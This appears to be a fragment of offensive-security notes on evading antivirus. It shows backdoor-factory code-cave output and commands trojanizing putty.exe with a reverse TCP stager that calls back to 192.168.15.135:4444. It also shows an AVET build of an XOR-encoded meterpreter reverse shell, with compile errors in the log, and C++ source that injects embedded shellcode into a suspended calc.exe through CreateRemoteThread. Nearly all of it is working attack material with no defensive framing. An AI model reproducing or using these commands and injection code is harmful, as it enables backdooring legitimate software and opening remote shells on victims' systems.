0xc859d0; Cave Size: 1317 11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581 12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432 13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064 14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705 15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317 16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683 

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444 

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0) x64/xor chosen with final size 551 Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function) shellcode = buf; ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

#include "stdafx.h" #include <Windows.h> #include<stdio.h> #include "iostream" using namespace std; unsigned char shellcode[] = "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39" "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6" "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06" "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61" "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78" "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17" "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c" "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b" "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e" "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a" "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8" "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee" "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03" "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e" "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13" "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5" "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88" "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c" "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75" "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58" "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84" "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20" "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20" "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe"; BOOL injection() { wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; lpMalwareBaseAddr = shellcode; GetSystemDirectory(Cappname, MAX_PATH); _tcscat(Cappname, L"\\calc.exe"); printf("Injection program Name:%S\r\n", Cappname); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED , NULL, NULL, &si, &pi) == 0) { return bRet; } lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) { return bRet; } WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL); hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); WaitForSingleObject(pi.hThread, INFINITE); GetExitCodeProcess(pi.hProcess, &dwExitCode); TerminateProcess(pi.hProcess, 0); return bRet; } void help(char* proc) { printf("%s:[-] start a process and injection shellcode to memory\r\n", proc); } int main(int argc, char* argv[]) { help(argv[0]); injection(); }